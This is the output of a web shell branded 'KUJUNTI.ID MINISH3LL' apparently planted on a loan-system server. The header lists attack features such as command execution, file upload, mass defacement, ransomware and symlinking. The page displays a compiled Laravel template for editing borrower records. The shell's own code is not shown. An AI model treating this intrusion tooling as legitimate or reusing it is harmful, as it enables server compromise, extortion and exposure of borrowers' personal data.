KUJUNTI.ID MINISH3LL
Path : /var/www/html/thb_loan_system/storage/framework/views/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/thb_loan_system/storage/framework/views/08d236f156361ae1088cd0a18c50dc83b9f9189a.php


<?php $__env->startSection('title'); ?>
    <?php echo e(translate('edit borrower')); ?>

<?php $__env->stopSection(); ?>
<?php $__env->startSection('content'); ?>
    <div class="panel panel-white">
        <div class="panel-heading">
            <h6 class="panel-title"><?php echo e(translate('edit borrower')); ?></h6>

            <div class="heading-elements">

            </div>
        </div>
        <?php echo Form::open(array('url' => url('borrower/'.$borrower->id.'/update'), 'method' => 'post', 'name' => 'form',"enctype"=>"multipart/form-data")); ?>

        <div class="panel-body">

            <div class="form-group">
                <div class="row">
                    <!--
                    <div class="col-md-4">
                        <?php echo Form::label('title',translate('title')." *",array('class'=>'')); ?>

                        <?php echo Form::select('title',array('Mr'=>translate('Mr'),'Mrs'=>translate('Mrs'), 'Miss'=>translate('Miss'),'Ms'=>translate('Ms'),'Dr'=>translate('Dr'),'Prof'=>translate('Prof'),'Rev'=>translate('Rev')),$borrower->title, array('class' => 'form-control',)); ?>

                    </div>
                    -->
                    <div class="col-md-4">
                        <?php echo Form::label('first_name',translate('first_name')." *",array('class'=>'')); ?>

                        <?php echo Form::text('first_name',$borrower->first_name, array('class' => 'form-control', 'placeholder'=>translate('first_name'),'required'=>'required')); ?>

                    </div>
                    <div class="col-md-4">
                        <?php echo Form::label('last_name',translate('last_name')." *",array('class'=>'')); ?>

                        <?php echo Form::text('last_name',$borrower->last_name, array('class' => 'form-control', 'placeholder'=>translate('last_name'),'required'=>'required')); ?>

                    </div>
                </div>
            </div>
            <div class="form-group">
                <div class="row">
                    <div class="col-md-4">
                        <?php echo Form::label('gender',translate('gender')." *",array('class'=>'')); ?>

                        <?php echo Form::select('gender',array('Male'=>translate('male'),'Female'=>translate('female')),$borrower->gender, array('class' => 'form-control','required'=>'required')); ?>

                    </div>
                    <div class="col-md-4">
                        <?php echo Form::label('unique_number',translate('unique_number'),array('class'=>'')); ?>

                        <?php echo Form::text('unique_number',$borrower->unique_number, array('class' => 'form-control', 'placeholder'=>translate('unique_number'))); ?>

                    </div>
                    <!--
                    <div class="col-md-4">
                        <?php echo Form::label('country',translate('country')." *",array('class'=>'')); ?>

                        <?php echo Form::select('country_id',$countries,$borrower->country_id,array('class'=>'form-control select2','placeholder'=>'','required'=>'required')); ?>

                    </div>
                    -->
                </div>
            </div>
            <div class="form-group">
                <div class="row">
                    <!--
                    <div class="col-md-4">
                        <?php echo Form::label('mobile',translate('mobile'),array('class'=>'')); ?>

                        <?php echo Form::text('mobile',$borrower->mobile, array('class' => 'form-control', 'placeholder'=>translate('numbers_only'))); ?>

                    </div>
                    -->
                    <div class="col-md-4">
                        <?php echo Form::label('email',translate('email'),array('class'=>'')); ?>

                        <?php echo Form::text('email',$borrower->email, array('class' => 'form-control', 'placeholder'=>translate('email'))); ?>

                    </div>
                    <div class="col-md-4">
                        <?php echo Form::label('dob',translate('dob'),array('class'=>'')); ?>

                        <?php echo Form::text('dob',$borrower->dob, array('class' => 'form-control date-picker', 'placeholder'=>"yyyy-mm-dd")); ?>

                    </div>
                </div>
            </div>
            <div class="form-group">
                <div class="row">
                    <div class="col-md-4">
                        <?php echo Form::label('phone',translate('phone'),array('class'=>'')); ?>

                        <?php echo Form::text('phone',$borrower->phone, array('class' => 'form-control', 'placeholder'=>"")); ?>

                    </div>
                    <!--
                    <div class="col-md-4">
                        <?php echo Form::label('state',translate('state'),array('class'=>'')); ?>

                        <?php echo Form::text('state',$borrower->state, array('class' => 'form-control', 'placeholder'=>"")); ?>

                    </div>
                    -->
                    <!--
                    <div class="col-md-4">
                        <?php echo Form::label('city',translate('city'),array('class'=>'')); ?>

                        <?php echo Form::text('city',$borrower->city, array('class' => 'form-control', 'placeholder'=>"")); ?>

                    </div>-->
                </div>
            </div>
            <div class="form-group">
                <div class="row">
                    <div class="col-md-4">
                        <?php echo Form::label('address',translate('address'),array('class'=>'')); ?>

                        <?php echo Form::text('address',$borrower->address, array('class' => 'form-control', 'placeholder'=>"")); ?>

                    </div>
                    <!--
                    <div class="col-md-4">
                        <?php echo Form::label('zip',translate('zip'),array('class'=>'')); ?>

                        <?php echo Form::text('zip',$borrower->zip, array('class' => 'form-control', 'placeholder'=>"")); ?>

                    </div>-->
                    <div class="col-md-4">
                        <?php echo Form::label('business_name',translate('business'),array('class'=>'')); ?>

                        <?php echo Form::text('business_name',$borrower->business_name, array('class' => 'form-control', 'placeholder'=>"")); ?>

                    </div>
                </div>
            </div>
            <div class="form-group">
                <div class="row">
                    <div class="col-md-4">
                        <?php echo Form::label('working_status',translate('working_status'),array('class'=>'')); ?>

                        <?php echo Form::select('working_status',array('Employee'=>translate('Employee'),'Owner'=>translate('Owner'),'Student'=>translate('Student'),'Overseas Worker'=>translate('Overseas Worker'),'Pensioner'=>translate('Pensioner'),'Unemployed'=>translate('Unemployed')),$borrower->working_status, array('class' => 'form-control',)); ?>

                    </div>
                    <div class="col-md-4">
                        <?php echo Form::label('id_card_number',translate('id_card_number'),array('class'=>'')); ?>

                        <?php echo Form::text('id_card_number',$borrower->id_card_number, array('class' => 'form-control', 'placeholder'=>translate('id_card_number'))); ?>

                    </div>
                    <div class="col-md-4">
                        <?php echo Form::label('place_of_birth',translate('place_of_birth'),array('class'=>'')); ?>

                       <?php echo Form::text('place_of_birth',$borrower->place_of_birth, array('class' => 'form-control', 'placeholder'=>"")); ?>

                    </div>
                </div>
            </div>
            <div class="form-group">
                <div class="row">

                    <div class="col-md-4">
                        <?php echo Form::label('photo',translate('photo'),array('class'=>'')); ?>

                        <?php echo Form::file('photo', array('class' => 'form-control', 'placeholder'=>"")); ?>

                        <?php if(!empty($borrower->photo)): ?>
                            <a class="fancybox" rel="group" href="<?php echo e(url(asset('uploads/'.$borrower->photo))); ?>"> <img
                                        src="<?php echo e(url(asset('uploads/'.$borrower->photo))); ?>" width="120"/></a>
                        <?php endif; ?>
                    </div>

                    <div class="col-md-4">
                        <?php echo Form::label('files',translate('file'). ' '.translate('borrower_file_types'),array('class'=>'')); ?>

                        <?php echo Form::file('files[]', array('class' => 'form-control', 'multiple'=>"")); ?>

                        <?php $__currentLoopData = unserialize($borrower->files); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key=>$value): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                            <span id="file_<?php echo e($key); ?>_span"><a href="<?php echo asset('uploads/'.$value); ?>"
                                                             target="_blank"><?php echo $value; ?></a> <button value="<?php echo e($key); ?>"
                                                                                                        id="<?php echo e($key); ?>"
                                                                                                        onclick="delete_file(this)"
                                                                                                        type="button"
                                                                                                        class="btn btn-danger btn-xs">
                                    <i class="fa fa-trash"></i></button> </span><br>
                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                    </div>
                    
                </div>
            </div>

            <div class="form-group">
                <?php echo Form::label('notes',translate('description'),array('class'=>'')); ?>

                <?php echo Form::textarea('notes',$borrower->notes, array('class' => 'form-control', 'placeholder'=>"",'rows'=>'3')); ?>

            </div>
            <!--
            <p class="bg-navy disabled color-palette"><?php echo e(translate('login detail')); ?></p>
            <div class="form-group">
                <div class="row">
                    <div class="col-md-4">
                        <?php echo Form::label('username',translate('username'),array('class'=>'')); ?>

                        <?php echo Form::text('username',$borrower->username, array('class' => 'form-control', 'placeholder'=>"")); ?>

                    </div>
                    <div class="col-md-4">
                        <?php echo Form::label('password',translate('password'),array('class'=>'')); ?>

                        <?php echo Form::password('password', array('class' => 'form-control', 'placeholder'=>"")); ?>

                    </div>
                    <div class="col-md-4">
                        <?php echo Form::label('repeatpassword',translate('repeat_password'),array('class'=>'')); ?>

                        <?php echo Form::password('repeatpassword', array('class' => 'form-control', 'placeholder'=>"")); ?>

                    </div>
                </div>
            </div>

            <div class="form-group">
                <?php echo Form::label('loan_officers',translate('loan_officer_access'),array('class'=>'')); ?>

                <?php echo Form::select('loan_officers[]',$user,unserialize($borrower->loan_officers), array('class' => 'form-control select2','multiple'=>'')); ?>

            </div>
            -->
            <!--
            <p class="bg-navy disabled color-palette"><?php echo e(translate('custom_field')); ?></p>

            <?php $__currentLoopData = $custom_fields; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>

                <div class="form-group">
                    <?php echo Form::label($key->id,$key->name,array('class'=>'')); ?>

                    <?php if($key->field_type=="number"): ?>
                        <input type="number" class="form-control" name="<?php echo e($key->id); ?>"
                               <?php if($key->required==1): ?> required
                               <?php endif; ?> value="<?php if(!empty(\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$borrower->id)->where('category','borrowers')->first())): ?><?php echo e(\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$borrower->id)->where('category','borrowers')->first()->name); ?> <?php endif; ?>">
                    <?php endif; ?>
                    <?php if($key->field_type=="textfield"): ?>
                        <input type="text" class="form-control" name="<?php echo e($key->id); ?>"
                               <?php if($key->required==1): ?> required
                               <?php endif; ?> value="<?php if(!empty(\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$borrower->id)->where('category','borrowers')->first())): ?><?php echo e(\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$borrower->id)->where('category','borrowers')->first()->name); ?> <?php endif; ?>">
                    <?php endif; ?>
                    <?php if($key->field_type=="date"): ?>
                        <input type="text" class="form-control date-picker" name="<?php echo e($key->id); ?>"
                               <?php if($key->required==1): ?> required
                               <?php endif; ?> value="<?php if(!empty(\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$borrower->id)->where('category','borrowers')->first())): ?><?php echo e(\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$borrower->id)->where('category','borrowers')->first()->name); ?> <?php endif; ?>">
                    <?php endif; ?>
                    <?php if($key->field_type=="textarea"): ?>
                        <textarea class="form-control" name="<?php echo e($key->id); ?>"
                                  <?php if($key->required==1): ?> required <?php endif; ?>><?php if(!empty(\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$borrower->id)->where('category','borrowers')->first())): ?><?php echo e(\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$borrower->id)->where('category','borrowers')->first()->name); ?> <?php endif; ?></textarea>
                    <?php endif; ?>
                    <?php if($key->field_type=="decimal"): ?>
                        <input type="text" class="form-control touchspin" name="<?php echo e($key->id); ?>"
                               <?php if($key->required==1): ?> required
                               <?php endif; ?> value="<?php if(!empty(\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$borrower->id)->where('category','borrowers')->first())): ?><?php echo e(\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$borrower->id)->where('category','borrowers')->first()->name); ?> <?php endif; ?>">
                    <?php endif; ?>

                </div>
            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
        </div>
        -->
        <!-- /.panel-body -->
        <div class="panel-footer">
            <div class="heading-elements">
                <button type="submit" class="btn btn-primary pull-right"><?php echo e(translate('save')); ?></button>
            </div>
        </div>
        <?php echo Form::close(); ?>

    </div>
    <!-- /.box -->
<?php $__env->stopSection(); ?>

<?php $__env->startSection('footer-scripts'); ?>
    <script>
        function delete_file(e) {
            var id = e.id;
            swal({
                title: 'Are you sure?',
                text: '',
                type: 'warning',
                showCancelButton: true,
                confirmButtonColor: '#3085d6',
                cancelButtonColor: '#d33',
                confirmButtonText: 'Ok',
                cancelButtonText: 'Cancel'
            }).then(function () {
                $.ajax({
                    type: 'GET',
                    url: "<?php echo url('borrower/'.$borrower->id); ?>/delete_file?id=" + id,
                    success: function (data) {
                        $("#file_" + id + "_span").remove();
                        swal({
                            title: 'Deleted',
                            text: 'File successfully deleted',
                            type: 'success',
                            showCancelButton: false,
                            confirmButtonColor: '#3085d6',
                            cancelButtonColor: '#d33',
                            confirmButtonText: 'Ok',
                            timer: 2000
                        })
                    }
                });
            })

        }
    </script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.master', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /var/www/html/thb_loan_system/resources/views/borrower/edit.blade.php ENDPATH**/ ?>

© KUJUNTI.ID